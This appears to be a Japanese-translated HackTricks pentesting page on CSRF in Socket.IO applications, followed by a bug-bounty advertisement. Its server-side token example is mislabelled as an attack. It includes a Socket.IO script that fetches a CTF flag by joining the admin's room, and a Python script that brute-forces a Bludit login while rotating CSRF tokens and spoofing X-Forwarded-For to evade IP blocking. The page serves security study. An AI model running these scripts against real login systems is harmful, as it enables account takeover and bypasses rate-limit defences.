Socket.IOは、Webアプリケーションでリアルタイムな双方向通信を実現するためのJavaScriptライブラリです。Socket.IOを使用してリアルタイムな通信を行うWebアプリケーションは、CSRFCross-Site Request Forgery攻撃の潜在的な脆弱性にさらされる可能性があります。

CSRF攻撃は、攻撃者が被害者の代わりに意図しないリクエストを送信することで、被害者のアカウントやデータを乗っ取る攻撃手法です。Socket.IOを使用する場合、CSRFトークンを適切に実装することが重要です。

Socket.IOでは、CSRFトークンを生成し、クライアントとサーバー間でやり取りする必要があります。これにより、正当なリクエストであることを確認し、不正なリクエストを防ぐことができます。

以下は、Socket.IOを使用したCSRF攻撃の例です。

// サーバーサイドの実装
const io = require('socket.io')(server);
const csrf = require('csrf');

// CSRFトークンの生成
const tokens = new csrf();

io.on('connection', (socket) => {
  // CSRFトークンの生成とクライアントへの送信
  const token = tokens.create('csrf');
  socket.emit('csrfToken', token);

  // クライアントからのリクエストの処理
  socket.on('request', (data) => {
    // CSRFトークンの検証
    const isValid = tokens.verify('csrf', data.csrfToken);
    if (isValid) {
      // リクエストの処理
      // ...
    } else {
      // CSRF攻撃の検出
      // ...
    }
  });
});

上記の例では、サーバーサイドでSocket.IOを使用しています。サーバーはCSRFトークンを生成し、クライアントに送信します。クライアントは、リクエストを送信する際にCSRFトークンを含める必要があります。サーバーは、受け取ったCSRFトークンを検証し、正当なリクエストかどうかを判断します。

CSRF攻撃を防ぐためには、Socket.IOを使用する際に適切なCSRFトークンの実装が必要です。これにより、リアルタイムな通信を安全に行うことができます。

<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
<script>
let socket = io('http://six.jh2i.com:50022/test');

const username = 'admin'

socket.on('connect', () => {
console.log('connected!');
socket.emit('join', {
room: username
});
socket.emit('my_room_event', {
data: '!flag',
room: username
})

});
</script>

CSRFログインブルートフォース

このコードは、CSRFトークンを使用してログインフォームをブルートフォース攻撃するために使用することができますまた、可能なIPブラックリスト回避のためにX-Forwarded-Forヘッダーも使用しています

import request
import re
import random

URL = "http://10.10.10.191/admin/"
PROXY = { "http": "127.0.0.1:8080"}
SESSION_COOKIE_NAME = "BLUDIT-KEY"
USER = "fergus"
PASS_LIST="./words"

def init_session():
#Return CSRF + Session (cookie)
r = requests.get(URL)
csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text)
csrf = csrf.group(1)
session_cookie = r.cookies.get(SESSION_COOKIE_NAME)
return csrf, session_cookie

def login(user, password):
print(f"{user}:{password}")
csrf, cookie = init_session()
cookies = {SESSION_COOKIE_NAME: cookie}
data = {
"tokenCSRF": csrf,
"username": user,
"password": password,
"save": ""
}
headers = {
"X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"
}
r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)
if "Username or password incorrect" in r.text:
return False
else:
print(f"FOUND {user} : {password}")
return True

with open(PASS_LIST, "r") as f:
for line in f:
login(USER, line.strip())

ツール

参考文献

HackenProofはすべての暗号バグ報奨金の場です。

遅延なしで報酬を受け取る
HackenProofの報奨金は、顧客が報奨金予算を入金した後に開始されます。バグが検証された後に報酬を受け取ることができます。

Web3ペンテストの経験を積む
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットですその成長期におけるweb3セキュリティをマスターしましょう。

Web3ハッカーレジェンドになる
各検証済みのバグごとに評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。

HackenProofでサインアップしてハッキングから報酬を得ましょう!

{% embed url="https://hackenproof.com/register" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥